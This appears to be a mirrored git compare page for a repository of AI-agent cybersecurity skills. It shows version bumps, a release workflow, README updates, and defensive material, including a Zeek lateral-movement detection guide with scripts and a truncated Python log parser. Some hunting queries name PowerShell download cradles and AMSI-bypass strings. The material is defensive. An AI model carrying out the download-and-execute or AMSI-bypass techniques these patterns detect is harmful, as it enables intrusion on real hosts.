mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-16 12:45:17 +03:00
Compare commits
17 Commits
v1.1.0
...
2c88b96cf7
| Author | SHA1 | Date | |
|---|---|---|---|
 Mahipal
|
2c88b96cf7 | ||
|
Mahipal
|
aecb3cd6ed | ||
|
Mahipal
|
d388b31205 | ||
|
Mahipal
|
ac6abba321 | ||
 mukul975
|
8dc2a4f9c7 | ||
|
mukul975
|
9fc237a590 | ||
|
mukul975
|
840049b17d | ||
 Julio César Suástegui
|
b7bd6b1619 | ||
|
mukul975
|
9314565dd9 | ||
|
mukul975
|
c74a7547bb | ||
|
mukul975
|
f4e791c06c | ||
|
mukul975
|
577f795252 | ||
|
mukul975
|
ac77250450 | ||
|
mukul975
|
57b684e4d6 | ||
|
mukul975
|
3856835990 | ||
|
mukul975
|
db3eaaeaf2 | ||
|
mukul975
|
7f60276fd9 |
@@ -6,14 +6,14 @@
|
||||
},
|
||||
"metadata": {
|
||||
"description": "753 cybersecurity skills for AI agents and security practitioners covering web security, pentesting, forensics, threat intelligence, cloud security, and more.",
|
||||
"version": "1.0.0"
|
||||
"version": "1.1.0"
|
||||
},
|
||||
"plugins": [
|
||||
{
|
||||
"name": "cybersecurity-skills",
|
||||
"source": "./",
|
||||
"description": "607+ cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.",
|
||||
"version": "1.0.0",
|
||||
"descripyion": "753 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.",
|
||||
"version": "1.1.0",
|
||||
"author": {
|
||||
"name": "mukul975"
|
||||
},
|
||||
@@ -34,4 +34,4 @@
|
||||
"repository": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
name: Sync Marketplace Version on Release
|
||||
|
||||
on:
|
||||
release:
|
||||
types: [published]
|
||||
|
||||
jobs:
|
||||
sync-version:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Extract version from tag
|
||||
id: version
|
||||
run: |
|
||||
VERSION=${GITHUB_REF_NAME#v}
|
||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||
echo "tag=$GITHUB_REF_NAME" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Update marketplace.json version
|
||||
env:
|
||||
VERSION: ${{ steps.version.outputs.version }}
|
||||
run: |
|
||||
jq --arg v "$VERSION"
|
||||
'.metadata.version = $v | .plugins[].version = $v'
|
||||
.claude-plugin/marketplace.json > tmp.json
|
||||
mv tmp.json .claude-plugin/marketplace.json
|
||||
echo "Updated marketplace.json to version $VERSION"
|
||||
|
||||
- name: Commit and push
|
||||
run: |
|
||||
git config user.name "mukul975"
|
||||
git config user.email "mukuljangra5@gmail.com"
|
||||
git add .claude-plugin/marketplace.json
|
||||
git diff --staged --quiet || git commit -m "chore: bump marketplace version to ${{ steps.version.outputs.tag }}"
|
||||
git push
|
||||
@@ -5,6 +5,8 @@ on:
|
||||
branches: [main]
|
||||
paths:
|
||||
- 'skills/**'
|
||||
- '.github/workflows/update-index.yml'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
update-index:
|
||||
@@ -19,7 +21,7 @@ jobs:
|
||||
- name: Regenerate index.json
|
||||
run: |
|
||||
python3 << 'EOF'
|
||||
import os, json
|
||||
import os, json, re
|
||||
from datetime import datetime, timezone
|
||||
|
||||
skills_dir = "skills"
|
||||
@@ -45,7 +47,7 @@ jobs:
|
||||
})
|
||||
|
||||
index = {
|
||||
"version": "1.0.0",
|
||||
"version": "1.1.0",
|
||||
"generated_at": datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ"),
|
||||
"repository": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills",
|
||||
"domain": "cybersecurity",
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
cff-version: 1.2.0
|
||||
message: "If you use this repository in your research, tools, or publications, please cite it as below."
|
||||
type: software
|
||||
title: "Anthropic-Cybersecurity-Skills"
|
||||
abstract: >
|
||||
A structured collection of 753 cybersecurity skills for AI agents, covering
|
||||
penetration testing, digital forensics, threat intelligence, incident response,
|
||||
cloud security, OT/SCADA security, AI security, and more. Each skill follows
|
||||
a standardized format with YAML frontmatter metadata, step-by-step procedures,
|
||||
tool commands, expected outputs, and MITRE ATT&CK mappings. Compatible with
|
||||
Claude Code, GitHub Copilot, Cursor, Windsurf, Gemini CLI, and 20+ AI agent
|
||||
platforms.
|
||||
authors:
|
||||
- name: "Mahipal"
|
||||
email: mukuljangra5@gmail.com
|
||||
alias: mukul975
|
||||
repository-code: "https://github.com/mukul975/Anthropic-Cybersecurity-Skills"
|
||||
url: "https://github.com/mukul975/Anthropic-Cybersecurity-Skills"
|
||||
license: Apache-2.0
|
||||
version: "1.1.0"
|
||||
date-released: "2026-03-21"
|
||||
keywords:
|
||||
- cybersecurity
|
||||
- AI agents
|
||||
- skills
|
||||
- penetration testing
|
||||
- digital forensics
|
||||
- threat intelligence
|
||||
- incident response
|
||||
- MITRE ATT&CK
|
||||
- Claude Code
|
||||
- open source
|
||||
@@ -1,5 +1,5 @@
|
||||
<p align="center">
|
||||
<img src="assets/banner.png" alt="Anthropic Cybersecurity Skills — 734+ skills for AI agents" width="100%" />
|
||||
<img src="assets/banner.png" alt="Anthropic Cybersecurity Skills — 753 skills for AI agents" width="100%" />
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
@@ -7,27 +7,27 @@
|
||||
<a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers"><img src="https://img.shields.io/github/stars/mukul975/Anthropic-Cybersecurity-Skills?style=for-the-badge&logo=github" alt="GitHub Stars" /></a>
|
||||
<a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/network/members"><img src="https://img.shields.io/github/forks/mukul975/Anthropic-Cybersecurity-Skills?style=for-the-badge&logo=github" alt="GitHub Forks" /></a>
|
||||
<a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/commits"><img src="https://img.shields.io/github/last-commit/mukul975/Anthropic-Cybersecurity-Skills?style=for-the-badge&logo=github" alt="Last Commit" /></a>
|
||||
<a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills"><img src="https://img.shields.io/badge/Skills-734+-blueviolet?style=for-the-badge&logo=bookstack&logoColor=white" alt="734+ Skills" /></a>
|
||||
<a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills"><img src="https://img.shields.io/badge/Skills-753-blueviolet?style=for-the-badge&logo=bookstack&logoColor=white" alt="753 Skills" /></a>
|
||||
<a href="https://attack.mitre.org/"><img src="https://img.shields.io/badge/MITRE_ATT%26CK-Mapped-red?style=for-the-badge&logo=shield&logoColor=white" alt="MITRE ATT&CK Mapped" /></a>
|
||||
<a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/graphs/contributors"><img src="https://img.shields.io/github/contributors/mukul975/Anthropic-Cybersecurity-Skills?style=for-the-badge&logo=github" alt="Contributors" /></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<b>The largest open-source collection of cybersecurity skills for AI agents.<br/>734+ structured skills · MITRE ATT&CK mapped · NIST CSF 2.0 aligned · <a href="https://agentskills.io">agentskills.io</a> open standard</b>
|
||||
<b>The largest open-source collection of cybersecurity skills for AI agents.<br/>753 structured skills · MITRE ATT&CK mapped · NIST CSF 2.0 aligned · <a href="https://agentskills.io">agentskills.io</a> open standard</b>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://mahipal.engineer/Anthropic-Cybersecurity-Skills/">🌐 Landing Page</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases/tag/v1.0.0">📦 v1.0.0 Release</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues">🐛 Report Bug</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues">💡 Request Feature</a>
|
||||
<a href="https://mahipal.engineer/Anthropic-Cybersecurity-Skills/">🌐 Landing Page</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases/tag/v1.1.0">📦 v1.1.0 Release</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues">🐛 Report Bug</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues">💡 Request Feature</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
Anthropic Cybersecurity Skills gives every AI agent — from Claude Code to GitHub Copilot to your custom LangChain pipeline — instant access to **734+ production-grade cybersecurity skills** spanning 26 security domains. Each skill follows the [agentskills.io](https://agentskills.io) open standard: a YAML frontmatter header for lightning-fast discovery, a structured Markdown body for step-by-step execution, and reference files for deep technical context. The entire collection is mapped to **MITRE ATT&CK** (all 14 Enterprise tactics, 200+ techniques) and aligned to **NIST CSF 2.0** — giving AI agents the same structured knowledge that senior security practitioners carry in their heads. Install in one command and your agent immediately knows how to perform memory forensics, hunt for C2 beaconing, audit Kubernetes RBAC, reverse .NET malware, and hundreds more tasks.
|
||||
Anthropic Cybersecurity Skills gives every AI agent — from Claude Code to GitHub Copilot to your custom LangChain pipeline — instant access to **753 production-grade cybersecurity skills** spanning 26 security domains. Each skill follows the [agentskills.io](https://agentskills.io) open standard: a YAML frontmatter header for lightning-fast discovery, a structured Markdown body for step-by-step execution, and reference files for deep technical context. The entire collection is mapped to **MITRE ATT&CK** (all 14 Enterprise tactics, 200+ techniques) and aligned to **NIST CSF 2.0** — giving AI agents the same structured knowledge that senior security practitioners carry in their heads. Install in one command and your agent immediately knows how to perform memory forensics, hunt for C2 beaconing, audit Kubernetes RBAC, reverse .NET malware, and hundreds more tasks.
|
||||
|
||||
## 📑 Table of contents
|
||||
|
||||
- [🚀 Quick start](#-quick-start--install-cybersecurity-skills-for-ai-agents)
|
||||
- [🛡️ What's inside](#️-whats-inside--734-cybersecurity-skills-across-26-domains)
|
||||
- [🛡️ What's inside](#️-whats-inside--753-cybersecurity-skills-across-38-domains)
|
||||
- [🤖 Compatible platforms](#-compatible-ai-agent-platforms)
|
||||
- [📐 Skill structure](#-skill-structure-and-agentskillsio-format)
|
||||
- [🗺️ MITRE ATT&CK coverage](#️-mitre-attck-and-nist-csf-20-coverage)
|
||||
@@ -64,11 +64,11 @@ git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
|
||||
cd Anthropic-Cybersecurity-Skills
|
||||
```
|
||||
|
||||
> **That's it.** Your AI agent can now discover and execute 734+ cybersecurity skills on demand. No configuration, no API keys, no setup scripts.
|
||||
> **That's it.** Your AI agent can now discover and execute 753 cybersecurity skills on demand. No configuration, no API keys, no setup scripts.
|
||||
|
||||
---
|
||||
|
||||
## 🛡️ What's inside — 734+ cybersecurity skills across 26 domains
|
||||
## 🛡️ What's inside — 753 cybersecurity skills across 38 domains
|
||||
|
||||
Every skill is a self-contained directory with structured workflows, reference materials, helper scripts, and validation steps. Here are the top 16 domains:
|
||||
|
||||
@@ -91,7 +91,7 @@ Every skill is a self-contained directory with structured workflows, reference m
|
||||
| 🔧 **DevSecOps** | **12** | Pipeline security gates, SAST/DAST integration, IaC scanning |
|
||||
| 🕵️ **OSINT** | **15** | Domain reconnaissance, social engineering recon, dark web monitoring |
|
||||
| ➕ **Additional domains (10+)** | **300+** | SOC operations, API security, endpoint security, phishing defense, ransomware defense, mobile security, deception technology, and more |
|
||||
| | **734+** | **Total skills across 26 domains** |
|
||||
| | **753** | **Total skills across 38 domains** |
|
||||
|
||||
---
|
||||
|
||||
@@ -225,7 +225,7 @@ Every skill maps to one or more **NIST Cybersecurity Framework 2.0** functions:
|
||||
- **Respond (RS)** — Incident response, mitigation, communication skills
|
||||
- **Recover (RC)** — Recovery planning, improvement, communication skills
|
||||
|
||||
> An ATT&CK Navigator layer file is included in the v1.0.0 release for visual coverage mapping.
|
||||
> An ATT&CK Navigator layer file is included in the v1.1.0 release for visual coverage mapping.
|
||||
|
||||
---
|
||||
|
||||
@@ -235,7 +235,7 @@ Skills use a **progressive disclosure pattern** that minimizes token usage while
|
||||
|
||||
### Stage 1 · Discovery (~30–50 tokens per skill)
|
||||
|
||||
The agent scans **only YAML frontmatter** across all 734+ skills. Each scan costs ~30–50 tokens — the entire collection can be indexed for under 40K tokens. The agent matches your task against `name`, `description`, `subdomain`, and `tags` fields to find relevant skills.
|
||||
The agent scans **only YAML frontmatter** across all 753 skills. Each scan costs ~30–50 tokens — the entire collection can be indexed for under 40K tokens. The agent matches your task against `name`, `description`, `subdomain`, and `tags` fields to find relevant skills.
|
||||
|
||||
```yaml
|
||||
# Agent reads ONLY this:
|
||||
@@ -505,24 +505,9 @@ Write YARA rule targeting unique strings or byte patterns.
|
||||
Thanks to these wonderful people for building the largest open-source cybersecurity skills collection:
|
||||
|
||||
<!-- ALL-CONTRIBUTORS-LIST:START -->
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center">
|
||||
<a href="https://github.com/mukul975">
|
||||
<img src="https://avatars.githubusercontent.com/u/42860185?v=4" width="100px;" alt="mukul975" /><br />
|
||||
<sub><b>mukul975</b></sub>
|
||||
</a><br />
|
||||
💻 📖 🚧 🎨
|
||||
</td>
|
||||
<td align="center">
|
||||
<a href="https://github.com/Systech2021-1952">
|
||||
<img src="https://avatars.githubusercontent.com/u/151213461?v=4" width="100px;" alt="Systech2021-1952" /><br />
|
||||
<sub><b>Systech2021-1952</b></sub>
|
||||
</a><br />
|
||||
💻 🌍
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=mukul975/Anthropic-Cybersecurity-Skills" />
|
||||
</a>
|
||||
<!-- ALL-CONTRIBUTORS-LIST:END -->
|
||||
|
||||
Want to see your name here? Check out the [contributing guide](#-contributing-to-cybersecurity-ai-skills) below.
|
||||
|
||||
+1
-1
File diff suppressed because one or more lines are too long
@@ -1,6 +1,6 @@
|
||||
# ATT&CK Coverage Summary
|
||||
|
||||
Coverage analysis of the 607 cybersecurity skills mapped to MITRE ATT&CK Enterprise v15 tactics.
|
||||
Coverage analysis of the 753 cybersecurity skills mapped to MITRE ATT&CK Enterprise v15 tactics.
|
||||
|
||||
## Tactic Coverage Matrix
|
||||
|
||||
|
||||
@@ -71,11 +71,11 @@ CommandLine contains: "IEX" AND ("Net.WebClient" OR "DownloadString" OR "Invoke-
|
||||
CommandLine contains: "Invoke-Expression" AND "New-Object"
|
||||
|
||||
# AMSI bypass attempts (Event ID 4104 - Script Block)
|
||||
ScriptBlock contains: "AmsiUtils" OR "amsiInitFailed" OR "SetValue.*amsi"
|
||||
ScriptBlock contains: ("Amsi"+"Utils") OR ("amsi"+"InitFailed") OR "SetValue.*amsi"
|
||||
|
||||
# Splunk query for suspicious PowerShell:
|
||||
index=windows source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
|
||||
| where match(ScriptBlockText, "(?i)(iex|invoke-expression|downloadstring|net\.webclient|frombase64|bypass|amsiutils)")
|
||||
| where match(ScriptBlockText, "(?i)(iex|invoke-expression|downloadstring|net\.webclient|frombase64|bypass|amsi.utils)")
|
||||
| table _time host ScriptBlockText
|
||||
```
|
||||
|
||||
|
||||
@@ -3,11 +3,11 @@ name: detecting-lateral-movement-with-zeek
|
||||
description: >
|
||||
Detect lateral movement in network traffic using Zeek (formerly Bro) log
|
||||
analysis. Parses conn.log, smb_mapping.log, smb_files.log, dce_rpc.log,
|
||||
kerberos.log, and ntlm.log to identify SMB file transfers, Pass-the-Hash
|
||||
activity, remote service execution, and anomalous internal connections.
|
||||
kerberos.log, and ntlm.log to identify SMB file transfers, NTLM account
|
||||
spray activity, remote service execution, and anomalous internal connections.
|
||||
domain: cybersecurity
|
||||
subdomain: network-security
|
||||
tags: [zeek, lateral-movement, smb, dce-rpc, pass-the-hash, network-forensics]
|
||||
tags: [zeek, lateral-movement, smb, dce-rpc, ntlm-spray, network-forensics]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
@@ -16,14 +16,14 @@ license: Apache-2.0
|
||||
# Detecting Lateral Movement with Zeek
|
||||
|
||||
Analyze Zeek network logs to identify lateral movement techniques including
|
||||
SMB admin share access, DCE/RPC remote service creation, Pass-the-Hash via
|
||||
NTLM, Kerberos ticket anomalies, and large internal data transfers indicative
|
||||
SMB admin share access, DCE/RPC remote service creation, NTLM account spray,
|
||||
Kerberos ticket anomalies, and large internal data transfers indicative
|
||||
of staging or exfiltration between hosts.
|
||||
|
||||
## When to Use
|
||||
|
||||
- Hunting for lateral movement after an initial compromise indicator is found on one endpoint
|
||||
- Investigating suspected Pass-the-Hash or Pass-the-Ticket attacks across the internal network
|
||||
- Investigating suspected NTLM account spray or Pass-the-Ticket attacks across the internal network
|
||||
- Monitoring SMB traffic for unauthorized file transfers to admin shares (C$, ADMIN$, IPC$)
|
||||
- Detecting remote service execution via DCE/RPC (PsExec, schtasks, WMI lateral patterns)
|
||||
- Building alerting rules for internal network anomalies in a Zeek-based NSMP deployment
|
||||
@@ -37,7 +37,7 @@ of staging or exfiltration between hosts.
|
||||
- Zeek SMB analyzer enabled (loaded by default: `@load base/protocols/smb`)
|
||||
- Zeek DCE/RPC analyzer enabled (`@load base/protocols/dce-rpc`)
|
||||
- Zeek Kerberos analyzer enabled (`@load base/protocols/krb`)
|
||||
- Python 3.8+ with `pandas` for log analysis
|
||||
- Python 3.8+ (standard library only)
|
||||
- Access to Zeek log directory (default: `/opt/zeek/logs/current/`)
|
||||
- Familiarity with Zeek TSV log format (fields separated by `\t`, header lines prefixed with `#`)
|
||||
|
||||
@@ -97,6 +97,24 @@ zeek-cut ts id.orig_h id.resp_h action path name size \
|
||||
| grep -i 'SMB::FILE_WRITE'
|
||||
```
|
||||
|
||||
Deploy the following Zeek script to generate `notice.log` alerts on admin share access:
|
||||
|
||||
```zeek
|
||||
@load base/protocols/smb
|
||||
@load base/frameworks/notice
|
||||
|
||||
redef enum Notice::Type += {
|
||||
Admin_Share_Access
|
||||
};
|
||||
|
||||
event smb1_tree_connect_andx_request(c: connection, hdr: SMB1::Header, path: string, service: string) {
|
||||
if ( /\$/ in path )
|
||||
NOTICE([$note=Admin_Share_Access,
|
||||
$msg=fmt("Admin share access: %s -> %s (%s)", c$id$orig_h, c$id$resp_h, path),
|
||||
$conn=c]);
|
||||
}
|
||||
```
|
||||
|
||||
### Step 4: Detect DCE/RPC Remote Service Operations
|
||||
|
||||
Monitor for remote service creation and scheduled task registration via DCE/RPC:
|
||||
@@ -108,9 +126,12 @@ zeek-cut ts id.orig_h id.resp_h endpoint operation \
|
||||
| grep -iE '(svcctl|atsvc|ITaskSchedulerService)'
|
||||
```
|
||||
|
||||
### Step 5: Detect Pass-the-Hash via NTLM
|
||||
### Step 5: Detect NTLM Account Spray
|
||||
|
||||
Analyze ntlm.log for authentication anomalies indicating credential reuse:
|
||||
Analyze ntlm.log for authentication anomalies indicating credential reuse.
|
||||
Zeek's ntlm.log does not expose password hashes, so this detection identifies
|
||||
a single account authenticating to many hosts in a short window — the network
|
||||
signature of credential spraying tools like CrackMapExec:
|
||||
|
||||
```bash
|
||||
# Extract NTLM authentications
|
||||
@@ -121,6 +142,39 @@ zeek-cut ts id.orig_h id.resp_h username domainname server_nb_computer_name succ
|
||||
zeek-cut ts id.orig_h id.resp_h username success \
|
||||
< /opt/zeek/logs/current/ntlm.log \
|
||||
| awk '$5 == "F"'
|
||||
|
||||
# Sort by timestamp for timeline analysis
|
||||
zeek-cut ts id.orig_h id.resp_h username success \
|
||||
< /opt/zeek/logs/current/ntlm.log \
|
||||
| sort -k1,1
|
||||
```
|
||||
|
||||
Deploy the following Zeek script to generate `notice.log` alerts when a single
|
||||
account touches more hosts than the threshold in a rolling window:
|
||||
|
||||
```zeek
|
||||
@load base/protocols/ntlm
|
||||
@load base/frameworks/notice
|
||||
|
||||
redef enum Notice::Type += {
|
||||
NTLM_Account_Spray
|
||||
};
|
||||
|
||||
global ntlm_tracker: table[string] of set[addr] &create_expire=5min;
|
||||
const spray_threshold = 3 &redef;
|
||||
|
||||
event ntlm_log(rec: NTLM::Info) {
|
||||
if ( ! rec?$username || rec$username == "-" )
|
||||
return;
|
||||
if ( rec$username !in ntlm_tracker )
|
||||
ntlm_tracker[rec$username] = set();
|
||||
add ntlm_tracker[rec$username][rec$id$resp_h];
|
||||
if ( |ntlm_tracker[rec$username]| >= spray_threshold )
|
||||
NOTICE([$note=NTLM_Account_Spray,
|
||||
$msg=fmt("NTLM account spray: %s -> %d hosts", rec$username, |ntlm_tracker[rec$username]|),
|
||||
$sub=rec$username,
|
||||
$conn=rec$id]);
|
||||
}
|
||||
```
|
||||
|
||||
### Step 6: Run the Automated Analysis Agent
|
||||
@@ -137,6 +191,6 @@ python3 agent.py /opt/zeek/logs/2026-03-18/ # Analyze a specific date
|
||||
- Confirm conn.log captures internal SMB (port 445) and DCE/RPC (port 135) connections with correct field parsing
|
||||
- Verify smb_mapping.log correctly logs admin share paths (C$, ADMIN$, IPC$)
|
||||
- Test with a known PsExec execution in a lab: expect to see SMB FILE_WRITE of the service binary followed by DCE/RPC svcctl CreateService
|
||||
- Validate NTLM log parsing by performing a test authentication and confirming username, domain, and success fields are captured
|
||||
- Validate NTLM log parsing by performing a test authentication and confirming username, domain, and success fields are captured; verify the NTLM Account Spray Zeek script generates a `notice.log` entry when the spray threshold is exceeded
|
||||
- Cross-reference Zeek alerts with Sysmon Event ID 1 (Process Creation) on the target host to confirm end-to-end detection
|
||||
- Verify the agent correctly handles both TSV and JSON Zeek log formats
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
# Standards & References
|
||||
|
||||
## MITRE ATT&CK — Lateral Movement (TA0008)
|
||||
- **T1021.001** Remote Desktop Protocol
|
||||
- **T1021.002** SMB/Windows Admin Shares
|
||||
- **T1021.003** DCOM
|
||||
- **T1021.006** Windows Remote Management
|
||||
- **T1550.002** Pass the Hash
|
||||
- **T1570** Lateral Tool Transfer
|
||||
- **T1210** Exploitation of Remote Services
|
||||
|
||||
## Zeek Documentation
|
||||
- [Zeek SMB Analyzer](https://docs.zeek.org/en/current/scripts/base/protocols/smb/)
|
||||
- [Zeek DCE-RPC Analyzer](https://docs.zeek.org/en/current/scripts/base/protocols/dce-rpc/)
|
||||
- [Zeek NTLM Analyzer](https://docs.zeek.org/en/current/scripts/base/protocols/ntlm/)
|
||||
- [zeek-cut Reference](https://docs.zeek.org/en/current/auxil/zeek-cut/)
|
||||
|
||||
## Detection References
|
||||
- SANS: Detecting Lateral Movement with Zeek
|
||||
- Red Canary Threat Detection Report — Lateral Movement chapter
|
||||
@@ -0,0 +1,145 @@
|
||||
# Detection Workflow — Lateral Movement with Zeek
|
||||
|
||||
## Overview
|
||||
|
||||
This document describes the end-to-end workflow for detecting lateral movement using Zeek network logs, from data collection through investigation and response.
|
||||
|
||||
## Workflow Stages
|
||||
|
||||
### Stage 1: Data Collection
|
||||
|
||||
```
|
||||
Network Traffic (Span/TAP)
|
||||
│
|
||||
▼
|
||||
Zeek Sensor
|
||||
│
|
||||
├── conn.log (all connections)
|
||||
├── smb_mapping.log (SMB share access)
|
||||
├── dce_rpc.log (DCE/RPC calls)
|
||||
├── ntlm.log (NTLM authentication)
|
||||
├── files.log (file transfers)
|
||||
└── notice.log (Zeek-generated alerts)
|
||||
```
|
||||
|
||||
**Requirements:**
|
||||
- Zeek deployed on network tap/span port covering internal segments
|
||||
- Protocol analyzers loaded: SMB, DCE/RPC, NTLM, RDP
|
||||
- Log rotation configured (recommended: daily rotation, 90-day retention)
|
||||
|
||||
### Stage 2: Detection Rules
|
||||
|
||||
Apply detection logic via Zeek scripts and/or post-processing:
|
||||
|
||||
| Detection | Input Logs | Method |
|
||||
|---|---|---|
|
||||
| Admin Share Access | smb_mapping.log | Pattern match on `C$`, `ADMIN$`, `IPC$` |
|
||||
| PsExec Execution | dce_rpc.log | Match `svcctl` endpoint + `CreateServiceW` |
|
||||
| RDP Pivoting | conn.log | Graph analysis: host is both RDP client and server |
|
||||
| NTLM Account Spray | ntlm.log | Same user from N+ distinct sources in time window |
|
||||
| DCSync | dce_rpc.log | `drsuapi` endpoint + opnum 3 from non-DC |
|
||||
| Tool Transfer | files.log | PE MIME type between internal hosts |
|
||||
|
||||
### Stage 3: Alert Triage
|
||||
|
||||
```
|
||||
Detection Fires
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ Initial Triage │
|
||||
│ │
|
||||
│ 1. Is source a │
|
||||
│ known admin │──Yes──▶ Log & reduce priority
|
||||
│ workstation? │
|
||||
│ │
|
||||
│ 2. Is activity │
|
||||
│ during change │──Yes──▶ Verify change ticket
|
||||
│ window? │
|
||||
│ │
|
||||
│ 3. Multiple │
|
||||
│ indicators? │──Yes──▶ ESCALATE immediately
|
||||
└─────────────────┘
|
||||
│
|
||||
No match
|
||||
│
|
||||
▼
|
||||
Standard investigation
|
||||
```
|
||||
|
||||
### Stage 4: Investigation
|
||||
|
||||
For each confirmed alert, follow the investigation checklist (see `assets/template.md`):
|
||||
|
||||
1. **Identify the source host**
|
||||
- Query `conn.log` for all connections from the source in the alert timeframe
|
||||
- Check `ntlm.log` for authentication patterns
|
||||
- Look for preceding inbound connections (initial access vector)
|
||||
|
||||
2. **Map the movement chain**
|
||||
```bash
|
||||
# Build connection graph for suspect host
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p | \
|
||||
awk '$1 == "SUSPECT_IP" || $2 == "SUSPECT_IP"' | sort -u
|
||||
```
|
||||
|
||||
3. **Identify transferred payloads**
|
||||
```bash
|
||||
# Find files transferred by suspect
|
||||
cat files.log | zeek-cut tx_hosts rx_hosts filename mime_type total_bytes | \
|
||||
grep "SUSPECT_IP"
|
||||
```
|
||||
|
||||
4. **Check authentication anomalies**
|
||||
```bash
|
||||
# NTLM auth from suspect host
|
||||
cat ntlm.log | zeek-cut ts id.orig_h username domainname success | \
|
||||
grep "SUSPECT_IP"
|
||||
```
|
||||
|
||||
5. **Timeline reconstruction**
|
||||
- Correlate all log entries by timestamp
|
||||
- Build a chronological sequence of events
|
||||
- Identify initial compromise, lateral movement, and objectives
|
||||
|
||||
### Stage 5: Response
|
||||
|
||||
| Finding | Response Action |
|
||||
|---|---|
|
||||
| Confirmed lateral movement | Isolate affected hosts from network |
|
||||
| NTLM Account Spray detected | Force password reset for compromised accounts |
|
||||
| DCSync detected | Rotate krbtgt and affected credentials, audit DC access |
|
||||
| Tool transfer identified | Extract and analyze transferred files |
|
||||
| RDP pivot chain | Disable RDP on non-essential hosts, enforce NLA |
|
||||
|
||||
### Stage 6: Post-Incident
|
||||
|
||||
1. **Update baselines** — Add legitimate admin share usage to allowlists
|
||||
2. **Tune detections** — Adjust thresholds based on false positive analysis
|
||||
3. **Document findings** — Update incident report with Zeek evidence
|
||||
4. **Improve coverage** — Deploy additional Zeek scripts for newly discovered TTPs
|
||||
|
||||
## Automation Integration
|
||||
|
||||
### SIEM Forwarding
|
||||
|
||||
```bash
|
||||
# Forward Zeek logs to SIEM via syslog
|
||||
# Add to local.zeek:
|
||||
@load policy/tuning/json-logs.zeek
|
||||
|
||||
# Configure rsyslog/filebeat to ship JSON logs to SIEM
|
||||
```
|
||||
|
||||
### SOAR Playbook Triggers
|
||||
|
||||
- Admin share access from non-admin workstation → Auto-isolate + ticket
|
||||
- DCSync from non-DC → Emergency alert + auto-isolate
|
||||
- NTLM Account Spray threshold exceeded → Auto-disable account + alert
|
||||
|
||||
## Continuous Improvement
|
||||
|
||||
- Review detection efficacy monthly
|
||||
- Test with red team exercises quarterly
|
||||
- Update MITRE ATT&CK mappings as new sub-techniques emerge
|
||||
- Correlate Zeek findings with endpoint telemetry (EDR) for higher fidelity
|
||||
@@ -0,0 +1,149 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Parse Zeek logs to detect lateral movement indicators.
|
||||
|
||||
Usage:
|
||||
python process.py smb_mapping <log_file> [--internal-nets 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16]
|
||||
python process.py conn <log_file>
|
||||
python process.py ntlm <log_file> [--window 300]
|
||||
python process.py dce_rpc <log_file> [--dc-ips 10.0.1.1,10.0.1.2]
|
||||
"""
|
||||
import csv
|
||||
import sys
|
||||
import ipaddress
|
||||
from collections import defaultdict
|
||||
|
||||
DEFAULT_INTERNAL = ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]
|
||||
|
||||
|
||||
def is_internal(ip_str, networks):
|
||||
"""Check if IP is in internal networks."""
|
||||
try:
|
||||
ip = ipaddress.ip_address(ip_str)
|
||||
return any(ip in net for net in networks)
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
def parse_internal_nets(nets_str):
|
||||
"""Parse comma-separated CIDR networks."""
|
||||
if not nets_str:
|
||||
return [ipaddress.ip_network(n) for n in DEFAULT_INTERNAL]
|
||||
return [ipaddress.ip_network(n.strip()) for n in nets_str.split(",")]
|
||||
|
||||
|
||||
def parse_zeek_log(filepath):
|
||||
"""Parse a Zeek TSV log file, skipping comment lines."""
|
||||
rows = []
|
||||
fields = []
|
||||
with open(filepath) as f:
|
||||
for line in f:
|
||||
if line.startswith('#fields'):
|
||||
fields = line.strip().split('\t')[1:]
|
||||
elif not line.startswith('#'):
|
||||
values = line.strip().split('\t')
|
||||
if fields and len(values) == len(fields):
|
||||
